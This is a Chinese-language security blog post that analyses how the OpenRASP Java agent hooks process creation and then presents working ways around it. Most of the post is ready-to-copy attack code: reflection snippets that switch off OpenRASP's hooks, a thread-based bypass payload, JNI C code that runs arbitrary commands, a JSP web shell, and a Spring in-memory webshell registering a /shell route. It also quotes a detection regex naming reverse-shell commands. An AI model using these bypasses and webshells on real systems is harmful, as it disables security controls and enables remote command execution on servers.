openrasp

Posted by Azeril on November 21, 2023

首先配置openrasp+springboot的环境

https://packages.baidu.com/app/openrasp/release/ windows下载rasp-java.zip

https://rasp.baidu.com/doc/install/manual/spring-boot.html 参考文档建立单机模式

springboot文件从此处下载 链接:https://pan.baidu.com/s/1SHB4LLLFl67SCKSxB1rQ0w 提取码:po1e

java -jar RaspInstall.jar -nodetect -install C:\Users\c'x'k\Desktop\rasp源码\springboot
java -javaagent:C:\Users\c'x'k\Desktop\rasp源码\springboot\rasp\rasp.jar -jar rasp-test-0.0.1-SNAPSHOT.jar

image-20231119165516696

C:\Users\c'x'k\Desktop\rasp源码\springboot>java -javaagent:C:\Users\c'x'k\Desktop\rasp源码\springboot\rasp\rasp.jar rasp-test-0.0.1-SNAPSHOT.jar

运行即可

image-20231119165551509

 @GetMapping({"/hello4"})
    public String hello4(HttpServletRequest httpServletRequest) throws Exception {
        Object o = Class.forName("com.baidu.openrasp.HookHandler").newInstance();
        Field field = o.getClass().getDeclaredField("enableHook");
        Field modifiers = field.getClass().getDeclaredField("modifiers");
        modifiers.setAccessible(true);
        modifiers.setInt(field, field.getModifiers() & -17);
        field.set(o, new AtomicBoolean(false));
        Process process = Runtime.getRuntime().exec("ping baidu.com");
        process.waitFor();
        BufferedReader bufrIn = new BufferedReader(new InputStreamReader(process.getInputStream(), "UTF-8"));
        BufferedReader bufrError = new BufferedReader(new InputStreamReader(process.getErrorStream(), "UTF-8"));
        StringBuffer result = new StringBuffer();
        while (true) {
            String line = bufrIn.readLine();
            if (line != null) {
                result.append(line).append('\n');
            }
        }
        while (true) {
            String line2 = bufrError.readLine();
            if (line2 != null) {
                result.append(line2).append('\n');
            } else {
                System.out.println(result);
                return "hello4";
            }
        }
    }
}

image-20231119195957111

果然是把所有的算法都改成block,http://127.0.0.1:8877/hello2访问这个,就会跳转到(之前没改的时候直接传就行了)

image-20231119200956247

一开始没看懂现在懂了,在Hellocontroller中一共有四个路由,/hello1 、/hello2、/hello3、/hello4一共有四个这样的路由

只有 /hello1、/hello4可以命令执行,剩余两个被openrasp拦截掉了(那么就看看这里俩是如何绕过的)

一、/hello1

发现这里开启了一个新的线程

image-20231119210219136

image-20231119221101455

Checker的初始化(别问为什么从中间开始分析,问就是上面啥c、jsv8🤐真心看不懂)

image-20231120200158440

遍历type类型,将检测类型以及对应的检测函数添加到checkers这个EnumMap当中

image-20231120200338492

CustomClassTransformer

实例化CustomClassTransformer(inst)

image-20231120200746900

将自身作为类转换器进行添加

image-20231120200859041

并且上面调用了retransform

public void retransform() {
        new LinkedList(); 
        Class[] loadedClasses = this.inst.getAllLoadedClasses();
        Class[] arr$ = loadedClasses;
        int len$ = loadedClasses.length;

        for(int i$ = 0; i$ < len$; ++i$) {
            Class clazz = arr$[i$];
            if (this.isClassMatched(clazz.getName().replace(".", "/")) && this.inst.isModifiableClass(clazz) && !clazz.getName().startsWith("java.lang.invoke.LambdaForm")) {//大致就是卡Lambda的
                try {
                    this.inst.retransformClasses(new Class[]{clazz});
                } catch (Throwable var8) {
                    LogTool.error(ErrorType.HOOK_ERROR, "failed to retransform class " + clazz.getName() + ": " + var8.getMessage(), var8);
                }
            }
        }
    }

因此之后当类加载的时候,会进入我们自己的 Transformer 中,执行 transform函数进行拦截

Hook

感觉这里是重要的点,如何进行检测防御的

    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain domain, byte[] classfileBuffer) throws IllegalClassFormatException {
        if (loader != null) {
            DependencyFinder.addJarPath(domain);//这里jar包添加进启动类加载器
        }

        if (loader != null && jspClassLoaderNames.contains(loader.getClass().getName())) {
            jspClassLoaderCache.put(className.replace("/", "."), new SoftReference(loader));
        }

        Iterator i$ = this.hooks.iterator();//迭代类

        while(i$.hasNext()) {
            AbstractClassHook hook = (AbstractClassHook)i$.next();
            if (hook.isClassMatched(className)) {//这里就是遍历类的这个方法进行match
                CtClass ctClass = null;

                try {
                    ClassPool classPool = new ClassPool();
                    this.addLoader(classPool, loader);
                    ctClass = classPool.makeClass(new ByteArrayInputStream(classfileBuffer));
                    if (loader == null) {
                        hook.setLoadedByBootstrapLoader(true);
                    }

                    classfileBuffer = hook.transformClass(ctClass);//!!!
                    if (classfileBuffer != null) {
                        this.checkNecessaryHookType(hook.getType());
                    }
                } catch (IOException var13) {
                    var13.printStackTrace();
                } finally {
                    if (ctClass != null) {
                        ctClass.detach();
                    }

                }
            }
        }

        this.serverDetector.detectServer(className, loader, domain);
        return classfileBuffer;
    }

image-20231120201907803

遍历的类在哪里?在open.baidu.oprasp.hook文件夹下的类

​ 这里举一个例子(看命令执行 com.baidu.oprasp.hook.system.ProcessBuilderHook)这个类

(之前看到一篇文章说openrasp低版本命令执行的检测方式是 到start,因此能用最底层绕过)

isClassMatched的规则

//简单概述就是 jdk高版本不是linux和windwos底层都在 ProcessImpl了嘛,下面就是 linux mac windows的不同罢了
//返回的都是true
public boolean isClassMatched(String className) {
    if (ModuleLoader.isModularityJdk()) {
        return "java/lang/ProcessImpl".equals(className);
    } else if (!OSUtil.isLinux() && !OSUtil.isMacOS()) {
        return OSUtil.isWindows() ? "java/lang/ProcessImpl".equals(className) : false;
    } else {
        return "java/lang/UNIXProcess".equals(className);
    }
}

我们回到com.baidu.openrasp.transformer.CustomClassTransformer#transform可以看到最终返回的字节码是受hook.transformClass处理的,在这里还有个小细节就是如果loadernull,则会调用setloadedByBootstrapLoader设置为true(获取不到类加载器,说明是由启动类加载器加载的)

image-20231120203456889

看transformClass方法

public byte[] transformClass(CtClass ctClass) {
        try {
            this.hookMethod(ctClass);
            return ctClass.toBytecode();
        } catch (Throwable var3) {
            if (Config.getConfig().isDebugEnabled()) {
                LOGGER.info("transform class " + ctClass.getName() + " failed", var3);
            }

            return null;
        }
    }

里面调用了hookMethod 方法

    protected void hookMethod(CtClass ctClass) throws IOException, CannotCompileException, NotFoundException {
        String src;
        if (ctClass.getName().contains("ProcessImpl")) {
            if (OSUtil.isWindows()) {
                    src = this.getInvokeStaticSrc(ProcessBuilderHook.class, "checkCommand", "$1,$2", new Class[]{String[].class, String.class});
                this.insertBefore(ctClass, "<init>", (String)null, src);
            } else if (ModuleLoader.isModularityJdk()) {
                src = this.getInvokeStaticSrc(ProcessBuilderHook.class, "checkCommand", "$1,$2,$4", new Class[]{byte[].class, byte[].class, byte[].class});
                this.insertBefore(ctClass, "<init>", (String)null, src);
            }
        } else if (ctClass.getName().contains("UNIXProcess")) {
            src = this.getInvokeStaticSrc(ProcessBuilderHook.class, "checkCommand", "$1,$2,$4", new Class[]{byte[].class, byte[].class, byte[].class});
            this.insertBefore(ctClass, "<init>", (String)null, src);
        }

    }

getInvokeStaticSrc方法中,如果这个值为true

在这里通过getInvokeStaticSrc这个方法生成具体插入的类在这个方法当中可以看到对于被BootStrap加载的类它会通过com.baidu.openrasp.ModuleLoader.moduleClassLoader.loadClass去调用检查命令的checkCommand函数这样就避免了由于双亲委派机制导致的ClassNotFoundException

image-20231120204325644

public static void checkCommand(byte[] command, byte[] args, byte[] envBlock) {
        if ((Boolean)HookHandler.enableCmdHook.get()) {
            LinkedList<String> commands = new LinkedList();
          	//执行的命令
            if (command != null && command.length > 0) {
                commands.add(new String(command, 0, command.length - 1));
            }
						
          	//执行的命令的参数
            int index;
            if (args != null && args.length > 0) {
                int position = 0;

                for(index = 0; index < args.length; ++index) {
                    if (args[index] == 0) {
                        commands.add(new String(Arrays.copyOfRange(args, position, index)));
                        position = index + 1;
                    }
                }
            }
						//来自envp参数,通常为空,通常是自己设置的环境变量
            LinkedList<String> envList = new LinkedList();
            if (envBlock != null) {
                index = -1;

                for(int i = 0; i < envBlock.length; ++i) {
                    if (envBlock[i] == 0) {
                        String envItem = new String(envBlock, index + 1, i - index - 1);
                        if (envItem.length() > 0) {
                            envList.add(envItem);
                        }

                        index = i;
                    }
                }
            }

            checkCommand((List)commands, (List)envList);
        }

    }

之后在讲命令和环境变量放到commandsenvList当中并执行checkCommand((List)commands, (List)envList);,这里会把执行的命令、环境变量、以及当前调用栈存放到params这个变量当中

image-20231120204530219

image-20231120204606475

会选择合适的checker去检查我们执行的东西

public static boolean check(Type type, CheckParameter parameter) {
  return ((Checker)checkers.get(type)).check(parameter);
}

继续省略一堆废话,最终会调用到V8.check,底层了我滚了

其实就是用js、C底层写了一个check机制,java负责hook

绕过技巧

基于正则的绕过

command_common: {
  name:    '算法3 - 识别常用渗透命令探针)',
    action:  'log',
      pattern: 'cat.{1,5}/etc/passwd|nc.{1,30}-e.{1,100}/bin/(?:ba)?sh|bash\\s-.{0,4}i.{1,20}/dev/tcp/|subprocess.call\\(.{0,6}/bin/(?:ba)?sh|fsockopen\\(.{1,50}/bin/(?:ba)?sh|perl.{1,80}socket.{1,120}open.{1,80}exec\\(.{1,5}/bin/(?:ba)?sh'
},

image-20231120205653475

cat能读多个文件

通过修改某些属性

通常如果存在反序列化漏洞,我们通常可以通过TemplatesImpl去加载任意字节码,在这里如果对于在RASP执行检测过程当中如果存在某些关键配置我们可以操控,那么就可以导致绕过,而OpenRasp里面就有,比如在执行检测前中间的调用流程有个com.baidu.openrasp.HookHandler#doCheckWithoutRequest,这里面提到了如果服务器的cpu使用率超过90%禁用全部hook点

image-20231120210219363

又或者满足当云控注册成功之前,不进入任何hook点,反正这些我们不都是可以通过反射去设置的么,这里我就随便来一个,就以第一个为例子吧,我们可以通过反射获取这个已经实例化的实例,在这个基础上修改disableHooks这个属性即可

try {
  Class<?> clz = Thread.currentThread().getContextClassLoader().loadClass("com.baidu.openrasp.config.Config");
  java.lang.reflect.Method getConfig = clz.getDeclaredMethod("getConfig");
  java.lang.reflect.Field disableHooks = clz.getDeclaredField("disableHooks");
  disableHooks.setAccessible(true);
  Object ins = getConfig.invoke(null);

  disableHooks.set(ins,true);
} catch (Exception e) {}

基于线程绕过

rasp会判断请求url是否为空来判断是否校验,判断条件需要一个环境上下文(请求线程) 我们只要开启一个新的线程,由子线程去调用Runtime.getRuntime.exec(),Rasp判断并不是用户请求线程触发了hook函数,就会放行命令执行操作

image-20231120211757583

这里会执行,因为实现了Runnable接口,就会弹计算器

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import java.io.IOException;

public class BypassRasp extends AbstractTranslet implements Runnable{
    public BypassRasp(){
        new Thread(this).start();
    }

    @Override
    public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {
    }
    
    @Override
    public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {
    }

    @Override
    public void run() {
        try {
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c","gnome-calculator"} : new String[]{"cmd.exe", "/c", "calc"};
            Runtime.getRuntime().exec(cmds);
        }catch (IOException e){}
    }
}

修改全局变量enableHook

假如存在反序列化漏洞,我们通常可以通过TemplatesImpl去加载任意字节码,那么就可以直接使用反射的方式,修改rasp的HookHandler类的变量enableHook设置为false,而这个变量是全局的开关,所以我们只需重新关闭这个开关就可以使rasp失效。实现全局绕过

image-20231120213135768

Object o = Class.forName("com.baidu.openrasp.HookHandler").newInstance();
Field f = o.getClass().getDeclaredField("enableHook");
Field m = f.getClass().getDeclaredField("modifiers");
m.setAccessible(true);
m.setInt(f, f.getModifiers() & ~Modifier.FINAL);
f.set(o, new AtomicBoolean(false));

JNI绕过RASP

主要讲解下 Tomcat环境下部署

Tomcat环境下,需要以下限制条件:

  • 固定包名格式为org.apache.jsp
  • java文件名称需要固定格式: ***_jsp ,并且后面的jsp文件名称需要同其保持一致。例如 testtomcat_jsp.java,那么最终jsp的文件名称需要命名为testtomcat.jsp

我们首先新建package为org.apache.jsp,类名为testtomcat_jsp的.java文件

package org.apache.jsp;
public class testtomcat_jsp
{
  class JniClass
  {
       public native String exec( String string );
  }
}

然后javac编译成class文件

javac testtomcat_jsp.java

命令执行后,生成文件testtomcat_jsp.classtesttomcat_jsp$JniClass.class 然后

javah -jni org.apache.jsp.testtomcat_jsp$JniClass

生成文件 org_apache_jsp_testtomcat_jsp_JniClass.h 为了简化后续C++工程的配置,将 #include <jni.h> 修改为 #include "jni.h"

接下来编写命令执行的C语言代码JniClass.c:

#include "jni.h"
#include "org_apache_jsp_testtomcat_jsp_JniClass.h"
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

int execmd(const char *cmd, char *result)
{
    char buffer[1024*12];              //定义缓冲区
    FILE *pipe = _popen(cmd, "r"); //打开管道,并执行命令
    if (!pipe)
        return 0; //返回0表示运行失败

    while (!feof(pipe))
    {
        if (fgets(buffer, 128, pipe))
        { //将管道输出到result中
            strcat(result, buffer);
        }
    }
    _pclose(pipe); //关闭管道
    return 1;      //返回1表示运行成功
}
JNIEXPORT jstring JNICALL Java_org_apache_jsp_testtomcat_1jsp_00024JniClass_exec(JNIEnv *env, jobject class_object, jstring jstr)
{

    const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
    char result[1024 * 12] = ""; //定义存放结果的字符串数组
    if (1 == execmd(cstr, result))
    {
       // printf(result);
    }

    char return_messge[100] = "";
    strcat(return_messge, result);
    jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
    //system();

    return cmdresult;
}

使用gcc将该c源码编译为.dll或者.so

gcc -I "C:\Java\jdk1.8.0_231\include" -I "C:\Java\jdk1.8.0_231\include\win32" --shared JniClass.c -o 1.dll

最后在web目录下创建testtomcat.jsp,内容如下:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
    class JniClass {
        public native String exec(String string);
        public JniClass() {
            System.load("C:\\Users\\Desktop\\作业\\CTF学习\\上传文件\\jsp\\jni\\1.dll");
        }
    }
%>
<%
    String cmd  = request.getParameter("cmd");
    if (cmd != null) {
        JniClass a = new JniClass();
        String res = a.exec(cmd);
        out.println(res);
    }
    else{
        response.sendError(404);
    }
%>

简单看了看

image-20231120221050307

但其实从安恒月赛我们就能发现不需要上传dll这些,只需要用内存马构建一个新的路由一个新的方法然后把dll加载进去即可

本地试一下,尝试写一个native方法,然后把dll加载进去

1. 定义一个native修饰的方法
2. 使用javah进行编译 
3. 编写对应的c语言代码
4. 使用gcc编译成dll文件
5. 编写一个Java类使用System.loadLibrary方法加载dll文件并且调用
gcc -I "C:\Program Files\Java\jdk1.8.0_65\include" - I "C:\Program Files\Java\jdk1.8.0_65\include\win32" -shared -o cmd.dll .\Command.c
 linux编译
g++ -fPIC -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/linux" -shared -o libcmd.so com_anbai_sec_cmd_CommandExecution.cpp

需要注意的是在jdk10+ JDK10移除了javah,需要改为javac-h参数的方式生产头文件

并且c文件是我们自己写的名字和java一致

image-20231121115010706

#include "com_test_Command.h"
JNIEXPORT jint JNICALL Java_com_test_Command_sum
  (JNIEnv *env, jobject obj, jint num1, jint num2){
  return num1+num2;
  }
  void main(){}

踩坑点

 System.loadLibrary("cmd");  //这个是只能读取到 windows环境变量设置的路径,tnnd卡了半天
System.load("K:\\javafile\\javatomcatrasp\\src\\main\\java\\cmd.dll");  //load就是自定义了

image-20231121115350788

可以发现这样会依赖我们上传的dll这个文件,能否直接加载字节码的形式呢

首先生成对应的字节码,一次生成nice

生成base64字节码代码
public class JYcxk {
    public static void main(String[] args) throws IOException {
        Path path= Paths.get("K:\\javafile\\javatomcatrasp\\src\\main\\java\\cmd.dll");
        byte[] bytes= Files.readAllBytes(path);
        System.out.println(Base64.getEncoder().encodeToString(bytes));
    }
}
Command.java
package com.test;

import java.io.IOException;
import java.io.RandomAccessFile;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.Vector;

public class Command {
    public native int sum(int num1,int num2);

    private static final String EVIL_JNI_BASE64 = "";//👴就不放在这里了,太长了,自己生成
        private static final String LIB_PATH = "libcmd.dll";
    static {
        try {


            byte[] jinBytes = Base64.getDecoder().decode(EVIL_JNI_BASE64);
            RandomAccessFile randomAccessFile = new RandomAccessFile(LIB_PATH, "rw");
            randomAccessFile.write(jinBytes);
            randomAccessFile.close();

            ClassLoader cmdLoader = Command.class.getClassLoader();
            System.out.println(cmdLoader);
            Class<?> classLoaderClazz = Class.forName("java.lang.ClassLoader");
            Class<?> nativeLibraryClazz = Class.forName("java.lang.ClassLoader$NativeLibrary");
            Method load = nativeLibraryClazz.getDeclaredMethod("load", String.class, boolean.class);

            load.setAccessible(true);
            Field field = classLoaderClazz.getDeclaredField("nativeLibraries");
            field.setAccessible(true);

            Vector<Object> libs = (Vector<Object>) field.get(cmdLoader);
            Constructor<?> nativeLibraryCons = nativeLibraryClazz.getDeclaredConstructor(Class.class, String.class, boolean.class);
            nativeLibraryCons.setAccessible(true);
            Object nativeLibraryObj = nativeLibraryCons.newInstance(Command.class, LIB_PATH, false);
            libs.addElement(nativeLibraryObj);
            field.set(cmdLoader, libs);
            load.invoke(nativeLibraryObj, LIB_PATH, false);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

image-20231121123629099

注意,这里加载的dll文件,是com.test.Command的,别的类能不能用就母鸡了

上面代码的目的是——>//调用java.lang.ClassLoader$NativeLibrary类的load方法加载动态链接库

尝试自己写

果然要我自己写第一步就给批了,load方法还是native的???

image-20231121124806018

大概意思就是 给加载Command.class的类加载器nativeLibraries addElement  加上NativeLibrary这个对象
 然后 NativeLibrary这个对象反射调用load方法load.invoke(nativeLibraryObj, LIB_PATH, false); 这个false没懂
    绝对或者相对路径soga

image-20231121131248748

image-20231121131305278

放上springboot内存马

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.RandomAccessFile;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.Vector;
public class EvilClass extends AbstractTranslet {
    public static native String execCmd(String cmd);
    private static final String EVIL_JNI_BASE64 = "";//👴就不放在这里了,太长了,自己生成
    private static final String LIB_PATH = "/tmp/libcmd.so";
    static {
        try{
            byte[] jniBytes = Base64.getDecoder().decode(EVIL_JNI_BASE64);
            RandomAccessFile randomAccessFile = new RandomAccessFile(LIB_PATH, "rw");
            randomAccessFile.write(jniBytes);
            randomAccessFile.close();
            //调用java.lang.ClassLoader$NativeLibrary类的load方法加载动态链接库
            ClassLoader cmdLoader = EvilClass.class.getClassLoader();
            Class<?> classLoaderClazz = Class.forName("java.lang.ClassLoader");
            Class<?> nativeLibraryClazz = Class.forName("java.lang.ClassLoader$NativeLibrary");
            Method load = nativeLibraryClazz.getDeclaredMethod("load", String.class, boolean.class);
            load.setAccessible(true);
            Field field = classLoaderClazz.getDeclaredField("nativeLibraries");
            field.setAccessible(true);
            Vector<Object> libs = (Vector<Object>) field.get(cmdLoader);
            Constructor<?> nativeLibraryCons = nativeLibraryClazz.getDeclaredConstructor(Class.class, String.class, boolean.class);
            nativeLibraryCons.setAccessible(true);
            Object nativeLibraryObj = nativeLibraryCons.newInstance(EvilClass.class, LIB_PATH, false);
            libs.addElement(nativeLibraryObj);
            field.set(cmdLoader, libs);
            load.invoke(nativeLibraryObj, LIB_PATH, false);

            //写入内存马
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
            Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
            configField.setAccessible(true);
            RequestMappingInfo.BuilderConfiguration config =
                    (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
            Method method2 = EvilClass.class.getMethod("shell", HttpServletRequest.class, HttpServletResponse.class);
            RequestMappingInfo info = RequestMappingInfo.paths("/shell")
                    .options(config)
                    .build();
            EvilClass springControllerMemShell = new EvilClass();
            mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
    public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {

        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            String execRes = EvilClass.execCmd(cmd);
            response.getWriter().write(execRes);
            response.getWriter().flush();
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}
那这不就能完成通杀技巧了嘛不对还需有写的权限但写到/tmp文件下不知权限要多大呢???

命令执行jni

啥时候用直接照搬即可

package com.test;

public class Command {
    public native String exec(String cmd);
}

com_test_Command.h

/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class com_test_Command */

#ifndef _Included_com_test_Command
#define _Included_com_test_Command
#ifdef __cplusplus
extern "C" {
#endif

JNIEXPORT jstring JNICALL Java_com_test_Command_exec
  (JNIEnv *, jobject, jstring);

#ifdef __cplusplus
}
#endif
#endif

Command.c

#include "com_test_Command.h"
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

int execmd(const char *cmd, char *result)
{
    char buffer[1024*12];              //定义缓冲区
    FILE *pipe = _popen(cmd, "r"); //打开管道,并执行命令
    if (!pipe)
        return 0; //返回0表示运行失败

    while (!feof(pipe))
    {
        if (fgets(buffer, 128, pipe))
        { //将管道输出到result中
            strcat(result, buffer);
        }
    }
    _pclose(pipe); //关闭管道
    return 1;      //返回1表示运行成功
}
JNIEXPORT jstring JNICALL Java_com_test_Command_exec(JNIEnv *env, jobject class_object, jstring jstr)
{

    const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
    char result[1024 * 12] = ""; //定义存放结果的字符串数组
    if (1 == execmd(cstr, result))
    {
       // printf(result);
    }

    char return_messge[100] = "";
    strcat(return_messge, result);
    jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
    //system();

    return cmdresult;
}
g++ -fPIC -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/linux" -shared -o libcmd.so com_anbai_sec_cmd_CommandExecution.cpp   linux
   
gcc -I "D:\JAVA_JDK\include"  -I "D:\JAVA_JDK\include\win32" -shared -o cmd.dll .\Command.c  windows

Creative Commons License
本作品采用CC BY-NC-ND 4.0进行许可。转载,请注明原作者 Azeril 及本文源链接。